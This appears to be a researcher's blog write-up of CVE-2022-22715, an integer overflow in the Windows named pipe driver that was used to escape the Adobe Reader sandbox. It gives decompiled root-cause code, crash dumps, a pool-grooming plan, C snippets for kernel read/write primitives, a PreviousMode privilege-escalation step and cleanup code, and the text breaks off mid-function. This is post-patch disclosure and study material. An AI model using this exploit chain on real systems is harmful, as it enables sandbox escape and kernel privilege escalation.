Break me out of sandbox in old pipe - CVE-2022-22715 Windows Dirty Pipe

Author: k0shl of Cyber Kunlun

In February 2022, Microsoft patched the vulnerability I used in TianfuCup 2021 for escaping Adobe Reader sandbox, assigned CVE-2022-22715. The vulnerability existed in Named Pipe File System nearly 10 years since the AppContainer was born. We called it "Windows Dirty Pipe".

In this article, I will share the root cause and exploitation of Windows Dirty Pipe. So let's start our journey.

Background

Named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. Many browsers and applications use Named Pipe as IPC between browser process and render process. And AppContainer was introduced when Microsoft released Windows 8.1 as a sandbox mechanism to isolate resources access from UWP application.

Since then, some browsers and applications such as old edge or Adobe Reader use AppContainer as their render process sandbox, and of course, the Named Pipe File System added some mechanisms for AppContainer support. As result, it brought Windows Dirty Pipe -- CVE-2022-22715

Root Cause of Windows Dirty Pipe

The vulnerability existed in Named Pipe File System Driver - npfs.sys, and the issue function is npfs!NpTranslateContainerLocalAlias. When we invoking NtCreateFile with a named pipe path, it will hit the IRP_MJ_CREATE major function of npfs, it called NpFsdCreate.

__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
  [...]
  if ( RelatedFileObject )
  {
     [...]
  }
  if ( UnicodeString.Length )
  {
    if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
      goto LABEL_47;
  }
  else
  {
    if ( !RelatedFileObject || NamedPipeType == 0x201 )
    {
      [...]
    }
    if ( NamedPipeType == 0x206 )
    {
      LABEL_47:
      *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
                                                     (__int64)&MasterIrp,
                                                     v3,
                                                     (__int64)FileObject);
      [...]
    }
  }
  if ( ifopenflag )
  {
    if ( !RelatedFileObject )
    {
      if ( createdisposition == 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix(  // ====> open a existed directory named pipe
                                                       (__int64)v33,
                                                       v3,
                                                       FileObject,
                                                       v11,
                                                       DesiredAccess,
                                                       RequestorMode);
        [...]
      }
      if ( (unsigned int)(createdisposition - 2) <= 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix(  // ====> create a new directory named pipe
                                                       (__int64)v34,
                                                       v3,
                                                       FileObject,
                                                       (struct _SECURITY_SUBJECT_CONTEXT *)v11,
                                                       DesiredAccess,
                                                       RequestorMode,
                                                       Options_high);
        [...]
      }
    }
    goto LABEL_57;
  }
  [...]
  Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
  [...]
}

The function dispatch into different handler function, it depends on the parameters of NtCreateFile, such as RootDirectory of ObjectAttributes or CreateDisposition. And if we create a new named pipe, it will come into NpTranslatedAlias.

NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  *(_QWORD *)&String1.Length = 0xE000Ci64;
  String1.Buffer = L"LOCAL\\";
  DestinationString = 0i64;
  *a3 = 0;
  Length = _mm_cvtsi128_si32(*(__m128i *)a1);
  String2 = *a1;
  String2.Length = Length;
  if ( Length >= 2u && *String2.Buffer == 0x5C )
  {
    Length -= 2;
    String2.MaximumLength -= 2;
    v7 = 1;
    ++String2.Buffer;
    String2.Length = Length;
  }
  else
  {
    v7 = 0;
  }
  if ( !Length )
    return 0;
  if ( a2 && Length > 0xCu )
  {
    if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
      return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
  [...]
}

The named pipe name which can be controlled by us will pass into NpTranslateAlias, the function will get the prefix of the named pipe name and compare it with "LOCAL\", if our named pipe name use "LOCAL\" as the prefix, this will hit the NpTranslateContainerLocalAlias function. It means we can use "\Device\NamedPipe\LOCAL\xxxxx" as the named pipe name.

Finally, we hit the vulnerable function, it's time to show root cause.

NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
  if ( result >= 0 )
  {
    result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
    if ( result >= 0 )
    {
      if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
        return 0;
  [...]
  v14 = *namedpipename;
  *(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
  v15 = v30;
  v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
  v17 = v16;
  *((_QWORD *)&v30 + 1) = v16;
  if ( *v16 == '\\' ) 
  {
    v17 = v16 + 1;
    ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
    v15 = v30 - 2;
  }
  else
  {
    ifslash = 0;
  }
  [...] // ====> calculate the new prefix length
  v21 = prefixlength + namedpipenamelength + 0x14; 
  v26.MaximumLength = v21;
  if ( ifslash )
  {
    v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
    v26.MaximumLength = v21;
  }
  PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
  v26.Buffer = PoolWithTag;
  if ( PoolWithTag )
  {
    if ( ifslash )
    {
      v26.Buffer = PoolWithTag + 1;
      v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
    }
    [...]
    RtlUnicodeStringPrintf(  // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
      &v26,
      L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
      (unsigned int)v32,
      &v35,
      &DestinationString,
      &v30);
    [...]
  }
  [...]
}

First, npfs check the process token privilege if it's appcontianer or restricted, it must meet one of two conditions at least which means the process must be a appcontainer, a restricted sandboxed process or both. And then, function check the named pipe name if the first wchar is "\", if so, npfs set variable |ifslash| to 1. After that, it calculate a new named pipe prefix length, the new named pipe prefix include SID, session number, specify string and etc., finally the new prefix length add named pipe name length and 0x14, and if variable |ifslash| is 1, the total size will add 2 to the final size.

Note that all the variable is ushort type, so there is a obviously integer overflow, if we use a long length named pipe name, the total size will be a small value finally.

After calculation, npfs allocate a small pool because of the small total size, then if |ifslash| is 1, the total size minus 2, if the total size is 0, there is a integer underflow, and the maxiumlength of unicode string will be a large ushort value 0xfffe.

The function RtlUnciodeStringPrintf will copy a string into the new pool buffer, the length of memcpy depends on maxiumlength of unicode string, if we trigger integer underflow before, npfs will copy a large value to a small pool trigger out of bound write.

Crash Dump:

rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
 r8=ffffe40ab22d8470  r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00    lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????

The crash dump shows the out of bound write corrupt some other objects after the 0x20 pool.

The purpose of NpTranslateContainerLocalAlias function is to translate the named pipe name including "LOCAL\" to a new named pipe name. For example, if the process is an appcontainer sandboxed process, it translates the name pipe name to a format string with "AppContainerNamedObjects", AppContainerNamedObjects is a directory which store some appcontainer related objects in object manager. Npfs finally create a new named pipe object under AppContainerNamedObjects directory in object manager.

But all the size variables type is ushort, this is the root cause of Windows Dirty Pipe.

Challenges of Windows Dirty Pipe

After introducing the root cause of Windows Dirty Pipe, I want to share the challenges of the CVE-2022-22715 before I public my exploitation.

When I trigger the crash and confirm the vulnerability, I quickly realize that the vulnerability is not easy to exploit, there is some challenges I will meet when I do exploit.

  1. Although integer overflow when npfs calculate the total size could make total size to a small value, such as 0x20\0x30\0x40..., but it must be 0, because we need trigger integer underflow to make maxiumlength of unicode string to a large ushort value for out of bound writing, if we set the total size to larger than 0, after total size minus 2, it's still a small value and out of bound write will not triggered.
  2. As I said above, the memcpy length is 0xfffe, it means I need to copy a more than 16 pages pool memory to a paged pool segment, this is not easy to make a stable layout.

An interesting kernel pool allocation mechanism

The first step of my exploitation is try to find a way to complete pool feng shui. In this situation, the corrupted pool must be a 0x20 paged pool, it's a kernel low fragmentation heap(LFH) pool, at first, I want to spray 0x20 LFH pools, and corrupt some 0x20 object to complete exploitation.

But there is a problem that I can't control the vulnerable 0x20 pool position in LFH bucket precisely and the memcpy length is 0xfffe, this may corrupt some unexpected objects or protected pages which cause BSoD.

I don't want to introduce kernel pool allocation deeply in my blog, there are many awesome articles/slides about it. Now let me share an interestring kernel pool allocation mechanism I used when I try to solve the problem.

As we all know, Windows kernel allocate pool segment by backend allocator and allocate subsegment by frontend allocator, and an interestring mechanism is that different type of subsegment can be allocate in the same segment.

That get my attention!

After some tests, I confirm that I can make a 0x20 LFH subsegment and a VS subsegment adjacent. This make my pool feng shui layout.

Stage 1: Preparation

Because vulnerable pool is a paged pool, so I choose WNF as my limited r/w primitive. I use _WNF_STATE_DATA as a limited out of bound read/write object -- the manager object, the maxium read/write range of _WNF_STATE_DATA is 0x1000. And I need to find another object to complete arbitrary address read/write -- the worker object. Actually, it's not difficult to find a suitable object, the object must be a paged pool object including a pointer field that could be used to read/write arbitrary address such as through memcpy.

I finally decided to use _TOKEN object as the worker object, if I invoke NtSetInformationToken with TokenDefaultDacl TokenInformationClass, nt finally invoke nt!SepAppendDefaultDacl copy a user-controlled content to a pointer field store in _TOKEN object.

void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
  v3 = usercontrolled[1];
  v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
  result = memmove(v4, usercontrolled, usercontrolled[1]);
  [...]
}

And if I invoke NtQueryInformationToken with TokenBnoIsolation TokenInformationClass, nt copy a isolationprefix buffer to usermode memory.

NTSTATUS __stdcall NtQueryInformationToken(
        HANDLE TokenHandle,
        TOKEN_INFORMATION_CLASS TokenInformationClass,
        PVOID TokenInformation,
        ULONG TokenInformationLength,
        PULONG ReturnLength)
{
  [...]
      case TokenBnoIsolation:
          [...]
          memmove(
            (char *)TokenInformation + 16,
            TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
            TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
        }
  [...]
}

So I could use manager object to construct a fake _TOKEN object structure to modify the adjacent worker object, then use NtSetInformationToken and NtQueryInformationToken as arbitrary r/w primitive.

Another object I need to prepare is the 0x20 spray object, it should be full controlled by me including allocate and free. I find there is a function named nt!NtRegisterThreadTerminatePort.

NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
  CurrentThread = KeGetCurrentThread();
  Object = 0i64;
  result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
  if ( result >= 0 )
  {
    PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
    v4 = PoolWithQuotaTag;
    if ( PoolWithQuotaTag )
    {
      PoolWithQuotaTag[1] = Object;
      *PoolWithQuotaTag = CurrentThread[1].InitialStack;
      result = 0;
      CurrentThread[1].InitialStack = v4;
    }
    else
    {
      ObfDereferenceObject(Object);
      return -1073741670;
    }
  }
  return result;
}

Function reference a LpcPort object and allocate a 0x20 paged pool for storing the LpcPort object, then store it into _ETHREAD object. If we create a thread and invoke NtRegisterThreadTerminatePort multiple times in thread, it could allocate a large amount of 0x20 paged pool.

Finally there was a pool feng shui plan in my head:

  1. Spray 0x20 paged pool to fill LFH subsegment, if all segment is full, backend allocation will allocate a new segment, and our new 0x20 LFH subsegment will be located in new segment.
  2. Spray _TOKEN object and _WNF_STATE_DATA object to fill VS subsegment, make sure they are in same page, and frontend allocation will finally allocate new VS subsegement, it will be located in the segement which created in step 1, adjacent to the LFH subsegment.

So our finally pool feng shui just like following:

1.PNG

Note that I can't predict the vulnerable pool's position in LFH Bucket, but actually I don't care about it, in this pool feng shui situation, the target of out of bound write is occupy the manager object and the worker object in VS subsegment, so I don't need to make pool hole for vulnerable object, just fill the LFH bucket with spray object, and make sure the vulnerable object located at the end LFH bucket.

Stage 2: Pool feng shui

When spraying WNF object, I find out that there is another object named _WNF_NAME_INSTANCES be created, it will cause frontend allocation create another LFH segment and affect our pool feng shui layout.

So before I do pool feng shui, I create a lot of 0xd0 pool and free them to make a large amount of 0xd0 pool hole to store _WNF_NAME_INSTANCES objects.

for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
        AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
        fNtDeleteWnfStateName(&gStateName[i]);//0x30
}

I allocate a lot amount of spray objects and spray _TOKEN objects and _WNF_STATE_DATA objects first, it will create new LFH subsegment and VS subsegement in the new segment. We can observe the final pool feng shui layout by windbg.

0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size:   20 previous size:    0  (Allocated) *PsTp Process: ffffc10b74a1c080
        Pooltag PsTp : Thread termination port block, Binary : nt!ps
 ffffb0880d69e020 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e040 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e060 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e080 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e0a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d69f020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f080 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f0a0 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a0020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0080 size:   20 previous size:    0  (Free)       ....

0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a1020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1080 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a2000  // ======>  new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size:   30 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a2040 size:  880 previous size:    0  (Allocated)  Toke
 ffffb0880d6a28d0 size:  580 previous size:    0  (Allocated)  Wnf  Process: ffffc10b74a1c080
 ffffb0880d6a2e50 size:  190 previous size:    0  (Free)       ..D.

2.PNG

As the layout show, there are many free LFH pool holes in the end LFH bucket, and the new VS subsegment is next to the LFH bucket, if we create vulnerable object now, it will be located in one of the free LFH pool hole.

Note the vulnerable object may not located in the last LFH page, but it's not necessary, the out of bound write may corrupt the LFH bucket will not affect our exploitation.

0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
 r8=0000000000000fff  r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450      mov     qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000

0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
 ffffb0880d69e700 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e720 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size:   20 previous size:    0  (Allocated) *NpFn
        Pooltag NpFn : Name block, Binary : npfs.sys
 ffffb0880d69e760 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e780 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7c0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e7e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e800 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e820 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e840 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e860 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e880 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e8c0 size:   20 previous size:    0  (Free)       MPCt
 ffffb0880d69e8e0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080

3.PNG

Then after invoking RtlUnicodeStringPrintf function, it will out of bound write about 0xfffe memory size content, this corrupt the LFH pool space and VS pool space. And the corrupt data is named pipe name that we could control, we need calculate the malicious payload for modifing the _WNF_STAT_DATA->DataSize.

When we create _WNF_STATE_DATA, we can't set DataSize larger than _WNF_STATE_DATA data region, but after triggerring vulnerability, we could modify it to any value, the maxium value of DataSize is 0x1000, we could gain a limited out of bound r/w primitive to modify the _TOKEN object in next page.

0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0  00001000`00001000 00001000`00001000
ffffb088`0d6a28e0  00001000`00001000 00001000`00001000

4.PNG

Stage 3: Gain arbitrary address r/w

In stage 2, we make a pool feng shui, and gain a limited r/w primitive with _WNF_STATE_DATA object, but there is a huge problem. How I find which object handle I need to use?

If I corrupt the object and use it by handle, the corrupted object header data will crash the system. And now, I need to find out a useful manager object(_WNF_STAT_DATA) name and worker object(_TOKEN) handle.

I thought of a solution. For manager object, when we try to read data from _WNF_STATE_DATA data region, we call NtQueryWnfStateData with a specified length, if the length is larger than DataSize, it will return nt error code 0xc0000023. For worker object, when we create a _TOKEN object, there is a unique LUID in _TOKEN object, and it could be queried by NtQueryInformationToken with TokenStatics TokenInformationClass, it named TokenId, we could query them when we spray _TOKEN Object and store it in an array.

Because _WNF_NAME_INSTANCES will not be corrupted, we can use NtUpdateWnfStateData and NtQueryWnfStateData normally.

I have already corrupt some _WNF_STATE_DATA objects in stage 2, and modify DataSize to 0x1000, we could use NtQueryWnfStateData with 0x1000 length parameter to find out the corrupted _WNF_STATE_DATA object, and read out of bound data to find the last corrupted page, the normal page adjacent to corrupted page.

Reading out of bound data will not corrupt the object structure, so we can use NtQueryWnfStateData with 0x1000 length parameter, if _WNF_STATE_DATA object isn't corrupted, it will return 0xC0000023, and if it is, it will return the out of bound data.

If the out of bound data is the malicious data, I can make sure the _WNF_STATA_DATA is not in the last corrupted page, I use this way to find out the last corrupted page so I can read the next normal page with _TOKEN object structure. The _WNF_STATE_DATA object in the last corrupted page is our manager object.

There is a LUID field in _TOKEN object, we gain it from out of bound read data, and match this LUID in array we created before, so that we finally find the worker object.

0: kd> dq 0xffffb0880d6ae000 // ===>  the last corrupted page
ffffb088`0d6ae000  00010001`00010001 00010001`00010001
ffffb088`0d6ae010  00010001`00010001 00010001`00010001
ffffb088`0d6ae020  00010001`00010001 00010001`00010001
ffffb088`0d6ae030  00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> the first normal page
ffffb088`0d6af000  656b6f54`03880000 00000000`00000000
ffffb088`0d6af010  000007b8`00001000 00000000`00000108
ffffb088`0d6af020  ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030  00000000`00008000 00000000`00000001
ffffb088`0d6af040  00000000`00000000 00000000`0008006d

5.PNG

So far, I get the manager object name and worker object handle, then I construct a 0x1000 fake data include fake _TOKEN Object structure and a _WNF_STATE_DATA structure. I have already got the normal _TOKEN object structure content by invoking NtQueryWnfStateData before, I just need to change some value to gain arbitrary r/w primitive.

Read Primitive:

    FakeSepCached = malloc(0x48);
    ZeroMemory(FakeSepCached, 0x48);
    *(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
    *(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;

    CorruptionData = malloc(OriginalSize);
    ZeroMemory(CorruptionData, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
    *(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;

    Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> control manager object
    if (Status < 0) {
        free(CorruptionData);
        free(FakeSepCached);
        return FALSE;
    }
  // ===>  arbitrary read
    Status = fNtQueryInformationToken(
        TokenHandle,
        TokenBnoIsolation,
        &RecvBuffer,
        RecvBufferSize,
        &RecvBufferSize);

Write Primitive:

  CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
    CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);

    *(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
    *(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;

    *(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
    *(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
    fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> control manager object

    pACL = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x48);
    pACL->AclRevision = 2;
    pACL->AceCount = 1;
    pACL->AclSize = 0x48;

    pACE = (PACE_HEADER)(pACL + 1);
    pACE->AceSize = 0x48 - sizeof(ACL);
    pACE->AceType = 50;
    *(PUINT64)((ULONG_PTR)pACL + 0x18) = (UINT64)pQueueListEntryFlink;
    *(PUINT64)((ULONG_PTR)pACL + 0x20) = (UINT64)pQueueListEntryBlink;
    *(PUINT64)((ULONG_PTR)pACL + 0x28) = (UINT64)pNextProcessor;
    *(PUINT64)((ULONG_PTR)pACL + 0x30) = (UINT64)pProcess;
    *(PUINT64)((ULONG_PTR)pACL + 0x38) = 0x3;
    *(PUINT64)((ULONG_PTR)pACL + 0x40) = 0x0100000008000000;
  // ===>  arbitrary write
    Status = fNtSetInformationToken(
        TokenHandle,
        TokenDefaultDacl,
        &pACL,
        8);

Stage 4: Elevation of privilege and Fix up

We gain arbitrary address r/w primitive, at first, I just want to replace the process TOKEN to system, it succeed, but after while, I find it's easy to crash. For example, I corrupt some _TOKEN objects, if I open processexplorer, it will travesal user space handle table for every process, it will cause crash when processexplorer access the exploite process handle table.

I need to fix up after exploit, so I decide not replace the process TOKEN, and just modify the _ETHREAD->PreviousMode, if I set previous mode to 0, I inovke NT API such as NtReadVirtualMemory and NtWriteVirtualMemory, kernel will think the thread is running in kernel mode. This is a common technology to elevate privilege, it's convenient to me for elevating of privilege and fixing instead of construct fake object every time.

Finally I use worker object to set _ETHREAD->PreviousMode to 0, and then use NtReadVirtualMemory/NtWriteVirtuaMemory to do elevation of privilege and fix up.

There are some thing we need to do when fixing.

1.Corrupted _Token Object.

I trigger corrupted object crash and realize that it crash because I corrupt the ObjectType in ObjectHeader, so when the nt reference the object, it will crash the system. And I can get the cookie in nt data section and calculate the objecttype in object header. I fix every corrupted _TOKEN object header.

    UINT64 pObjHeaderCookie = ntaddr + OBJHEADERCOOKIE;
    BYTE cookie;
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pObjHeaderCookie, (UINT64)&cookie, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
    BYTE addrbyte = (pPoolAddress >> 8) & 0xff;
    BYTE offset = cookie ^ addrbyte ^ TokenTypeIndex;
    BYTE bModifiedType;
    for (UINT i = typeindex; i <= modifiedindex; i++) {
        bModifiedType = offset ^ cookie ^ (((pPoolAddress - i * 0x1000) >> 8) & 0xff);
        X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x88), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
        X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x48), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
    }

2.Corrupted VS pool structure.

This is the most complicate problem I meet, I do not only corrupt the object structure, but also corrupt the VS pool structure, this will cause BSoD unexpected. I do some reversing in VS allocation deeply and find there is a RBTree to manage VS pool, if I know a VS pool address, I can calculate the VS pool manager address.

When a new VS pool allocate or a old free, it will travesal the RBTree from the VS pool manager, and if I corrupt the VS pool address which means when VS pool manager travesal from the root node and access the corrupted node, it will crash.

So I need to find the crash node from the RBTree root node, and delete it from RBTree, this may cause some memory leak if there are some other VS pools under the corrupted node, but it's better than crash the system.

6.PNG

I calculate the root VS pool, travesal the RBTree and delete the node from the RBTree.

  UINT64 zeroSet = 0x0;
    UINT64 ntaddr = KernelSymbolInfo();
    UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
    UINT64 pGlobalHeapValue;
    UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
    UINT64 pPoolChunkValue;
    X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
    UINT64 pRootChunkAddr;
    UINT64 pRightChunk;
    UINT64 pLeftChunk;
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
    X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
    UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
    UINT64 pFinalChunk = NULL;
    UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
    UINT64 pTempRootChunk;
    pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
    while (pLeftChunk != 0 && pRightChunk != 0) {
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
        if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
